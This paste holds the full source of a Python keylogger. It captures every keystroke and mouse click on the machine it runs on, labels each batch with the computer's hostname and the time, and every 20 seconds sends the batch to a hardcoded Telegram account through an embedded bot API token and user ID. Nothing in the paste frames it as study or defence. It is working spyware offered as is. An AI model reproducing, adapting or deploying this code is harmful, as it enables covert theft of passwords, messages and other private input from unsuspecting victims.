· 6 years ago · Mar 17, 2020, 01:56 PM
1import socket # for computer name
2import telebot
3import threading
4# import keyboard
5from pynput.keyboard import Key, Listener
6from pynput import mouse
7import time
8import datetime
9from threading import Timer
10import json
11from io import BytesIO
12import pyscreenshot as ImageGrab
13
14TELEGRAM_BOT_API_KEY = "937597982:AAEGZ-td8bvGg6oe144IBvuCKra45YXQB0Y"
15USER_ID = 404663608
16
17
18class TelegramBot:
19 def __init__(self, api, user_id):
20 self.api = api
21 self.user_id = user_id
22 self.bot = telebot.TeleBot(api)
23
24 def write_message(self, keys):
25 json_dict = {
26 "computer_name": socket.gethostname(),
27 "time": datetime.datetime.now().strftime("%d-%m-%y %H:%M:%S"),
28 "keys": keys
29 }
30 print("Send keys!")
31 self.bot.send_message(self.user_id, json.dumps(json_dict))
32
33class Keylogger:
34 def __init__(self, delay_in_secs=20):
35 self.is_stopped = False
36 self.is_paused = False
37 self.recorded_keys = []
38 self.send_keys_thread = threading.Thread(target=self.get_keys)
39 self.telegram_bot = TelegramBot(TELEGRAM_BOT_API_KEY, USER_ID)
40 self.keyboard_listener = Listener(on_press=self.on_key_pressed)
41 self.mouse_listener = mouse.Listener(on_click=self.on_mouse_clicked)
42 self.delay = delay_in_secs
43
44 def on_key_pressed(self, key):
45 self.recorded_keys.append(str(key))
46
47 def on_mouse_clicked(self, x, y, button, pressed):
48 self.recorded_keys.append("CLICK[{0}, {1}])".format(x, y))
49
50 def start_recording_keys(self):
51 self.is_stopped = False
52 self.is_paused = False
53 self.recorded_keys.clear()
54 self.send_keys_thread.start()
55 self.keyboard_listener.start()
56 self.mouse_listener.start()
57
58 def stop_recording_keys(self):
59 self.is_stopped = True
60 self.is_paused = True
61 self.recorded_keys.clear()
62 self.send_keys_thread.stop()
63 self.keyboard_listener.stop()
64
65 def get_keys(self):
66 while not self.is_stopped:
67 if self.recorded_keys:
68 self.telegram_bot.write_message(self.recorded_keys)
69 else:
70 self.telegram_bot.write_message("None keys")
71 self.recorded_keys.clear()
72 time.sleep(self.delay)
73
74
75def main():
76 keylogger = Keylogger()
77
78 try:
79 keylogger.start_recording_keys()
80 except KeyboardInterrupt:
81 print("Exit")
82 keylogger.is_stopped = True
83
84
85if __name__ == '__main__':
86 main()